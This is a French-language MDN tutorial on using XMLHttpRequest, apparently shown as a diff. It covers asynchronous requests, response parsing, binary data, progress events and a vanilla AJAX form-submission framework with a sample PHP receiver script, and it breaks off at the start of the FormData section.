+<p><a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest"><code>XMLHttpRequest</code></a> permet d'envoyer des requêtes HTTP de manière très simple.  Il suffit de créer une instance de l'objet, d'ouvrir une URL, et d'envoyer la requête.  Le <a href="/en-US/docs/HTTP/HTTP_response_codes" title="HTTP response codes">status HTTP</a> du résultat, tout comme le contenu de la réponse, sont disponibles dans l'objet de la requête quand la transaction est terminée. Cette page présente quelques-uns des cas d'utilisation communs et même un peu obscurs pour cet objet JavaScript puissant.</p>
+
+<pre class="brush: js">function reqListener () {
+  console.log(this.responseText);
+}
+
+var oReq = new XMLHttpRequest();
+oReq.onload = reqListener;
+oReq.open("get", "yourFile.txt", true);
+oReq.send();</pre>
+
+<h2 id="Types_de_requêtes">Types de requêtes</h2>
+
+<p>Une demande faite via XMLHttpRequest peut récupérer les données dans l'une des deux façons, de manière asynchrone ou synchrone. Le type de demande est dictée par l'argument optionnel <span style="font-family: courier new,andale mono,monospace; line-height: normal;">async</span> (le troisième argument) qui est mis sur la méthode <a href="/en-US/docs/DOM/XMLHttpRequest#open()" title="DOM/XMLHttpRequest#open()">open()</a> XMLHttpRequest (). Si cet argument est <span style="font-family: courier new,andale mono,monospace; line-height: normal;">true</span> ou non spécifié, l'objet <span style="font-family: courier new,andale mono,monospace; line-height: normal;">XMLHttpRequest</span> est traitée de manière asynchrone, sinon le processus est effectué de façon synchrone. Une discussion détaillée et des démonstrations de ces deux types de demandes peuvent être trouvés sur la page des <a href="/en-US/docs/DOM/XMLHttpRequest/Synchronous_and_Asynchronous_Requests" style="text-decoration: underline;" title="Synchronous and Asynchronous Requests">requêtes synchrones et asynchrones</a>. En général, vous devriez rarement, voire jamais, utiliser requêtes synchrones.</p>
+
+<div class="note"><strong>Note:</strong> A partir de Gecko 30.0 {{ geckoRelease("30.0") }}, les requêtes synchrones sur le processus principal ont été dépréciées en raison de l'effet négatif sur l'expérience utilisateur.</div>
+
+<h2 id="Gérer_les_réponses">Gérer les réponses</h2>
+
+<p><span style="line-height: 1.5;">Il existe plusieurs types </span><a href="http://www.w3.org/TR/XMLHttpRequest2/#response" title="http://www.w3.org/TR/XMLHttpRequest2/#response">d'attributs de réponse</a><span style="line-height: 1.5;"> définies par la spécification W3C pour XMLHttpRequest. Ceci indique que le client faisant l'objet XMLHttpRequest des informations importantes sur l'état ​​de la réponse. Certains cas où, traitant de types de réponse non-texte peuvent impliquer une certaine manipulation et l'analyse comme indiqué dans les sections suivantes.</span></p>
+
+<h3 id="Analyser_et_manipuler_la_propriété_responseXML">Analyser et manipuler la propriété <code>responseXML</code></h3>
+
+<p>Si vous utlisez <code>XMLHttpRequest </code>pour obtenir le contenu d'un fichier XML distant, la propriété <code>responseXML </code>sera un Objet DOM contenant le document XML parsé, qui peut être difficile à manipuler et analyser. Il y a quatres moyens principaux d'analyser ce document XML :</p>
+
+<ol>
+ <li>Utiliser <a href="/en-US/docs/XPath" title="XPath">XPath</a> pour localiser des parties.</li>
+ <li>Utiliser <a href="/en-US/docs/JXON" title="JXON">JXON</a> pour le convertir en Objet structuré JavaScript.</li>
+ <li>Manuellement <a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">parser et serializer le XML</a> en chaînes de caractères ou en objets.</li>
+ <li>Utiliser <a href="/en-US/docs/XMLSerializer" title="XMLSerializer">XMLSerializer</a> pour serializer <strong>le DOM en chaînes ou en fichiers.</strong></li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/regexp">RegExp </a>peut être utlisé si vous connaissez à l'avance le contenu du document XML. Vous pouvez supprimer les sauts de ligne, si vous utlisez RegExp en prenant en compte ces sauts. Toutefois, cette méthode est un "dernier recours", car si le code XML change légèrement, la méthode échouera probablement.</li>
+</ol>
+
+<h3 id="Analyser_et_manipuler_une_propriété_responseText_contenant_un_document_HTML">Analyser et manipuler une propriété <code>responseText</code> contenant un document HTML</h3>
+
+<div class="note"><strong>Note:</strong> La spécification W3C <a href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a>  autorise le HTML a être parsé via la propritété <code>XMLHttpRequest.responseXML</code>. Lisez l'article à propos du <a href="/en-US/docs/HTML_in_XMLHttpRequest" title="HTML_in_XMLHttpRequest">HTML dans XMLHttpRequest</a> pour plus de détails.</div>
+
+<p>Si vous utilisez <code>XMLHttpRequest</code> pour récupérer le contenu d'une page HTML distante, la propriété <code>responseText</code> est une chaîne de caractères contenant une "soupe" de tous les tags HTML, qui peut être difficile à manipuler et à analyser. Il y a trois moyens principaux d'analyser cette soupe de HTML :</p>
+
+<ol>
+ <li>Utiliser la propriété <code>XMLHttpRequest.responseXML</code>.</li>
+ <li>Injecter le contenu dans le body d'un <a href="/en-US/docs/Web/API/DocumentFragment">fragment de document</a> via <code>fragment.body.innerHTML</code> et traverser le DOM du fragment.</li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/regexp">RegExp </a>peut être utlisé si vous connaissez à l'avance le contenu du document HTML dans <span style="font-family: courier new,andale mono,monospace; line-height: normal;">responseText</span>. Vous pouvez supprimer les sauts de ligne, si vous utlisez RegExp en prenant en compte ces sauts. Toutefois, cette méthode est un "dernier recours", car si le code XML change légèrement, la méthode échouera probablement.</li>
+</ol>
+
+<h2 id="Gérer_les_données_binaires">Gérer les données binaires</h2>
+
+<p>Bien que <code>XMLHttpRequest</code> est le plus souvent utilisé pour envoyer et recevoir des données textuelles, on peut l'utiliser pour envoyer et recevoir du contenu binaire.Il existe plusieurs méthodes éprouvées pour contraindre la réponse d'un XMLHttpRequest en l'envoi de données binaires. Celles-ci impliquent d'utiliser la méthode .overrideMimeType() sur l'objet XMLHttpRequest, ce qui est une solution viable.</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+oReq.open("GET", url, true);
+// récupérer les données non traitées comme une chaîne binaire
+oReq.overrideMimeType("text/plain; charset=x-user-defined");
+/* ... */
+</pre>
+
+<p>La Spécification XMLHttpRequest Niveau 2 ajoute de nouveaux <a href="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute" title="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute">attributs responseType</a> qui permettent d'envoyer et de recevoir des données binaires plus facilement.</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url, true);
+oReq.responseType = "arraybuffer";
+oReq.onload = function(e) {
+  var arraybuffer = oReq.response; // n'est pas responseText
+  /* ... */
+}
+oReq.send();
+</pre>
+
+<p>Pour plus d'exemples, jettez un oeil à la page <a href="/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data" title="DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data">Envoyer et recevoir des données binaires</a></p>
+
+<h2 id="Surveiller_la_progression">Surveiller la progression</h2>
+
+<p><code>XMLHttpRequest</code> fournit la possibilité d'écouter différents évènements qui peuvent se produire pendant que la requête est traitée. Cela inclu des notifications de progression périodiques, des notifications d'erreur, ainsi de suite.</p>
+
+<p>Le support des évènements de progression DOM de <code>XMLHttpRequest</code> suit l'API web <a href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">de spécifications des évènements de progression</a>: ils implémentent l'interface {{domxref("ProgressEvent")}}.</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.addEventListener("progress", updateProgress, false);
+oReq.addEventListener("load", transferComplete, false);
+oReq.addEventListener("error", transferFailed, false);
+oReq.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+
+// ...
+
+// progression des transferts depuis le serveur jusqu'au client (téléchargement)
+function updateProgress (oEvent) {
+  if (oEvent.lengthComputable) {
+    var percentComplete = oEvent.loaded / oEvent.total;
+    // ...
+  } else {
+    // Impossible de calculer la progression puisque la taille totale est inconnue
+  }
+}
+
+function transferComplete(evt) {
+  alert("Le transfert est terminé.");
+}
+
+function transferFailed(evt) {
+  alert("Une erreur est survenue pendant le transfert du fichier.");
+}
+
+function transferCanceled(evt) {
+  alert("Le transfert a été annulé par l'utilisateur.");
+}</pre>
+
+<p>Les lignes 3-6 ajoutent des écouteurs pour les différents évènements lancés pendant la transfert de données d'une <code>XMLHttpRequest</code>.</p>
+
+<div class="note"><strong>Note:</strong> Vous devez ajouter les écouteurs avant d'appeler <code>open()</code> sur la requête. Sinon, les évènements de progression ne seront pas lancés.</div>
+
+<p>Le gestionnaire de progression, spécifié par la fonction <code>updateProgress()</code> dans cet exemple, reçoit le nombre total de bytes à transférer ainsi que le nombre de bytes déjà transférés dans les champs <code>total</code> et <code>loaded</code>.  Cependant, si le champ <code>lengthComputable</code> est false, la taille totale est inconnue et sera zéro.</p>
+
+<p>Les évènements de progression sont disponibles pour l'envoi et la réception de données. Les évènements de téléchargement sont lancés sur l'objet <code>XMLHttpRequest</code> lui-même, comme montré dans l'exemple ci-dessus. Les évènements d'envoi (upload) sont lancés sur l'objet <code>XMLHttpRequest.upload</code>, comme montré ci-dessous:</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.upload.addEventListener("progress", updateProgress, false);
+oReq.upload.addEventListener("load", transferComplete, false);
+oReq.upload.addEventListener("error", transferFailed, false);
+oReq.upload.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+</pre>
+
+<div class="note"><strong>Note:</strong> Les évènements de progression ne sont pas disponibles sur le protocole <code>file:</code>.</div>
+
+<div class="note"><strong>Note</strong>: Actuellement, il y a encore des bugs ouverts pour les évènements de progression qui affectent la version 25 de Firefox sur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=908375">OS X</a> et <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=786953">Linux</a>.</div>
+
+<div class="note">
+<p><strong>Note:</strong> A partir de {{Gecko("9.0")}}, les évènements de progression peuvent désormais être assurément présents pour chaque morceau de données reçu, y compris le dernier morceau dans les cas où le dernier paquet est reçu et la connexion fermée avant que l'évènement ne soit lancé. Dans ce cas, l'évènement de progression est automatiquement lancé quand l'évènement load se produit pour ce paquet. Cela vous permet de surveiller fiablement la progression grâce à son évènement.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> Dans {{Gecko("12.0")}}, si votre évènement de progression est appelé avec un <code>responseType</code> "moz-blob", la valeur de la réponse est un {{domxref("Blob")}} contenant les données reçues jusqu'à présent.</p>
+</div>
+
+<p>Une fonction peut aussi être appelée peu importe le status de fin de la requête (<code>abort</code>, <code>load</code>, ou <code>error</code>) en utilisant l'évènement <code>loadend</code> :</p>
+
+<pre class="brush:js">req.addEventListener("loadend", loadEnd, false);
+
+function loadEnd(e) {
+  alert("Le transfert est terminé (même si l'on ne sait pas si ça a fonctionné ou pas).");
+}
+</pre>
+
+<p>Notez qu'il n'y a pas moyen d'être certain des informations reçues dans l'évènement  <code>loadend</code> event comme la condition qui a causé la fin de l'opération; toutefois, vous pouvez utiliser cet évènement pour gérer les tâches qui doivent être exécutées dans tous les cas une fois un transfert terminé.</p>
+
+<h2 id="Envoyer_des_formulaires_et_uploader_des_fichiers">Envoyer des formulaires et uploader des fichiers</h2>
+
+<p>Les instances de <code>XMLHttpRequest</code> peuvent être utilisées pour envoyer des formulaires de deux façons :</p>
+
+<ul>
+ <li>n'utiliser rien de plus qu'AJAX</li>
+ <li>utiliser l'API <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a></li>
+</ul>
+
+<p>La <strong>seconde solution</strong> (utiliser l'API <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a>) est la plus simple et la plus rapide, mais a le désavantage que les données collectées ne peuvent pas être <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">chainifiées</a>.<br>
+ La <strong>première solution</strong> est plutôt la plus complexe, mais se prête à être plus flexible et puissante.</p>
+
+<h3 id="Rien_de_plus_que_XMLHttpRequest">Rien de plus que <code>XMLHttpRequest</code></h3>
+
+<p>Envoyer des formulaires sans l'API <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> ne demande rien de plus, si ce n'est l'API <a href="/en-US/docs/DOM/FileReader" style="line-height: 1.5;" title="/en-US/docs/DOM/FileReader"><code style="font-size: 14px;">FileReader</code></a><span style="line-height: 1.5;">, mais seulement </span><strong style="line-height: 1.5;">si vous voulez envoyer un fichier ou plus</strong><span style="line-height: 1.5;">.</span></p>
+
+<h4 id="Une_brève_introduction_au_méthodes_de_submission">Une brève introduction au méthodes de submission</h4>
+
+<p>Un élément HTML {{ HTMLElement("form") }} peut être envoyé de quatre manières :</p>
+
+<ul>
+ <li>en utilisant la méthode <code>POST</code> et en configurant son attribut <code>enctype</code> sur <code>application/x-www-form-urlencoded</code> (par défaut);</li>
+ <li>en utilisant la méthode <code>POST</code> et en configurant son attribut <code>enctype</code> sur <code>text/plain</code>;</li>
+ <li>en utilisant la méthode <code>POST</code> et en configurant son attribut <code>enctype</code> sur <code>multipart/form-data</code>;</li>
+ <li>en utilisant la méthode <code>GET</code> (dans ce cas, l'attribut <code>enctype</code> sera ignoré).</li>
+</ul>
+
+<p>Maintenant, considérons qu'on envoie un formulaire contenant seulement deux champs, nommées<span style="line-height: 1.5;"> </span><code style="font-size: 14px;">foo</code><span style="line-height: 1.5;"> et </span><code style="font-size: 14px;">baz</code><span style="line-height: 1.5;">. Si vous utilisez la méthode </span><code style="font-size: 14px;">POST</code><span style="line-height: 1.5;">, le serveur va recevoir une chaîne similaire à l'un des trois suivantes, en fonction de l'encodage que vous utilisez :</span></p>
+
+<ul>
+ <li>
+  <p>Méthode: <code>POST</code>; Encodage: <code>application/x-www-form-urlencoded</code> (par défaut):</p>
+
+  <pre>Content-Type: application/x-www-form-urlencoded
+
+foo=bar&amp;baz=The+first+line.&amp;#37;0D%0AThe+second+line.%0D%0A</pre>
+ </li>
+ <li>
+  <p>Méthode: <code>POST</code>; Encodage: <code>text/plain</code>:</p>
+
+  <pre>Content-Type: text/plain
+
+foo=bar
+baz=The first line.
+The second line.</pre>
+ </li>
+ <li>
+  <p>Méthode: <code>POST</code>; Encodage: <code>multipart/form-data</code>:</p>
+
+  <pre style="height: 100px; overflow: auto;">Content-Type: multipart/form-data; boundary=---------------------------314911788813839
+
+-----------------------------314911788813839
+Content-Disposition: form-data; name="foo"
+
+bar
+-----------------------------314911788813839
+Content-Disposition: form-data; name="baz"
+
+The first line.
+The second line.
+
+-----------------------------314911788813839--</pre>
+ </li>
+</ul>
+
+<p>Si vous utilisez la méthode <code>GET</code> à la place, une chaîne comme celle-ci sera simplement ajoutée à l'URL :</p>
+
+<pre>?foo=bar&amp;baz=The%20first%20line.%0AThe%20second%20line.</pre>
+
+<h4 id="Un_petit_framework_vanilla">Un petit framework vanilla</h4>
+
+<p>Tout celà est fait automatiquement par le serveur quand vous envoyez un {{ HTMLElement("form") }}. Mais si vous voulez faire la même chose en utilisant JavaScript vous devez <em>tout</em> dire à l'interprète. Pour celà, la manière d'envoyer des formulaires en <em>pure</em> AJAX est trop compliquée pour être expliquée ici. Pour cette raison, nous avons posté un <strong>framework complet (mais tout de  même didactique)</strong>, qui est capable d'utiliser les quatres méthodes de <em>submit</em> , et aussi de <strong>transférer des fichiers</strong>:</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Sending forms with pure AJAX &amp;ndash; MDN&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+
+"use strict";
+
+/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function(sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx &lt; nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) &amp; 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}
+
+/*\
+|*|
+|*|  :: AJAX Form Submit Framework ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntax:
+|*|
+|*|   AJAXSubmit(HTMLFormElement);
+\*/
+
+var AJAXSubmit = (function () {
+
+  function ajaxSuccess () {
+    /* console.log("AJAXSubmit - Success!"); */
+    alert(this.responseText);
+    /* you can get the serialized data through the "submittedData" custom property: */
+    /* alert(JSON.stringify(this.submittedData)); */
+  }
+
+  function submitData (oData) {
+    /* the AJAX request... */
+    var oAjaxReq = new XMLHttpRequest();
+    oAjaxReq.submittedData = oData;
+    oAjaxReq.onload = ajaxSuccess;
+    if (oData.technique === 0) {
+      /* method is GET */
+      oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/, oData.segments.length &gt; 0 ? "?" + oData.segments.join("&amp;") : ""), true);
+      oAjaxReq.send(null);
+    } else {
+      /* method is POST */
+      oAjaxReq.open("post", oData.receiver, true);
+      if (oData.technique === 3) {
+        /* enctype is multipart/form-data */
+        var sBoundary = "---------------------------" + Date.now().toString(16);
+        oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary);
+        oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" + oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n");
+      } else {
+        /* enctype is application/x-www-form-urlencoded or text/plain */
+        oAjaxReq.setRequestHeader("Content-Type", oData.contentType);
+        oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&amp;"));
+      }
+    }
+  }
+
+  function processStatus (oData) {
+    if (oData.status &gt; 0) { return; }
+    /* the form is now totally serialized! do something before sending it to the server... */
+    /* doSomething(oData); */
+    /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */
+    submitData (oData);
+  }
+
+  function pushSegment (oFREvt) {
+    this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n";
+    this.owner.status--;
+    processStatus(this.owner);
+  }
+
+  function plainEscape (sText) {
+    /* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: */
+    /* "4\3\7 - Einstein said E=mc2" ----&gt; "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */
+    return sText.replace(/[\s\=\\]/g, "\\$&amp;");
+  }
+
+  function SubmitRequest (oTarget) {
+    var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post";
+    /* console.log("AJAXSubmit - Serializing form..."); */
+    this.contentType = bIsPost &amp;&amp; oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded";
+    this.technique = bIsPost ? this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0;
+    this.receiver = oTarget.action;
+    this.status = 0;
+    this.segments = [];
+    var fFilter = this.technique === 2 ? plainEscape : escape;
+    for (var nItem = 0; nItem &lt; oTarget.elements.length; nItem++) {
+      oField = oTarget.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE" &amp;&amp; oField.files.length &gt; 0) {
+        if (this.technique === 3) {
+          /* enctype is multipart/form-data */
+          for (nFile = 0; nFile &lt; oField.files.length; nFile++) {
+            oFile = oField.files[nFile];
+            oSegmReq = new FileReader();
+            /* (custom properties:) */
+            oSegmReq.segmentIdx = this.segments.length;
+            oSegmReq.owner = this;
+            /* (end of custom properties) */
+            oSegmReq.onload = pushSegment;
+            this.segments.push("Content-Disposition: form-data; name=\"" + oField.name + "\"; filename=\""+ oFile.name + "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n");
+            this.status++;
+            oSegmReq.readAsBinaryString(oFile);
+          }
+        } else {
+          /* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! */
+          for (nFile = 0; nFile &lt; oField.files.length; this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name)));
+        }
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        /* field type is not FILE or is FILE but is empty */
+        this.segments.push(
+          this.technique === 3 ? /* enctype is multipart/form-data */
+            "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n"
+          : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */
+            fFilter(oField.name) + "=" + fFilter(oField.value)
+        );
+      }
+    }
+    processStatus(this);
+  }
+
+  return function (oFormElement) {
+    if (!oFormElement.action) { return; }
+    new SubmitRequest(oFormElement);
+  };
+
+})();
+
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with pure AJAX&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="text/plain" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      Your name: &lt;input type="text" name="user" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Your message:&lt;br /&gt;
+      &lt;textarea name="message" cols="40" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt; &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt; &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt; &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt; &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>Pour le tester, créez une page nommée <strong>register.php</strong> (qui est l'attribut <code>action</code> des formulaires d'exemple) et mettez y ce contenu <em><span class="long_text short_text" id="result_box" lang="en"><span class="hps">minimaliste</span></span></em>:</p>
+
+<pre class="brush: php">&lt;?php
+/* register.php */
+
+header("Content-type: text/plain");
+
+/*
+NOTE: You should never use `print_r()` in production scripts, or
+otherwise output client-submitted data without sanitizing it first.
+Failing to sanitize can lead to cross-site scripting vulnerabilities.
+*/
+
+echo ":: data received via GET ::\n\n";
+print_r($_GET);
+
+echo "\n\n:: Data received via POST ::\n\n";
+print_r($_POST);
+
+echo "\n\n:: Data received as \"raw\" (text/plain encoding) ::\n\n";
+if (isset($HTTP_RAW_POST_DATA)) { echo $HTTP_RAW_POST_DATA; }
+
+echo "\n\n:: Files received ::\n\n";
+print_r($_FILES);
+
+</pre>
+
+<p>La syntaxe de ce script est la suivante:</p>
+
+<pre class="syntaxbox">AJAXSubmit(myForm);</pre>
+
+<div class="note"><strong>Note:</strong> Ce framework utilise l'API <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> pour transmettre les fichiers uploadés. C'est une API récente qui n'est pas implémentée dans IE9 ou inférieur. Pour cette raison, l'upload via AJAX uniquement <strong>est une technique expérimentale</strong>. Si vous n'avez pas besoin de transférer des fichiers binaires, ce framework fonctionne bien dans la majorité des navigateurs.</div>
+
+<div class="note"><strong>Note:</strong> La meilleure façon d'envoyer du contenu binaire est de passer par <a href="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer">ArrayBuffers</a> ou <a href="/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob">Blobs</a> en conjonction avec la méthode <a href="/en-US/docs/DOM/XMLHttpRequest#send%28%29" title="/en-US/docs/DOM/XMLHttpRequest#send()"><code>send()</code></a> et possiblement avec la méthode <a href="/en-US/docs/DOM/FileReader#readAsArrayBuffer()" title="/en-US/docs/DOM/FileReader#readAsArrayBuffer()"><code>readAsArrayBuffer()</code></a> de l'API <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a>. Mais dans la mesure où le but de ce script est de fonctionner avec des données <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">chaînifiable</a>, nous avons utilisé la méthode <a href="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary%28%29" title="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()"><code>sendAsBinary()</code></a> en conjonction avec la méthode <a href="/en-US/docs/DOM/FileReader#readAsBinaryString%28%29" title="/en-US/docs/DOM/FileReader#readAsBinaryString()"><code>readAsBinaryString()</code></a> de l'API <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a>. Du coup, le script ci-dessous n'a de sens que quand vous voulez transférer de petits fichiers. Si vous n'avez pas l'intention de transférer des données binaires, songez plutôt à utilisez l'API <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a>.</div>
+
+<div class="note"><strong>Note:</strong> La méthode non-strandard <code>sendAsBinary </code>est dépréciée à partir de Gecko 31 {{ geckoRelease(31) }} et sera prochainement supprimée. La méthode standard <code>send(Blob data)</code> peut être utilisée à la place.</div>
+
+<h3 id="Utiliser_les_objets_FormData">Utiliser les objets FormData</h3>
+
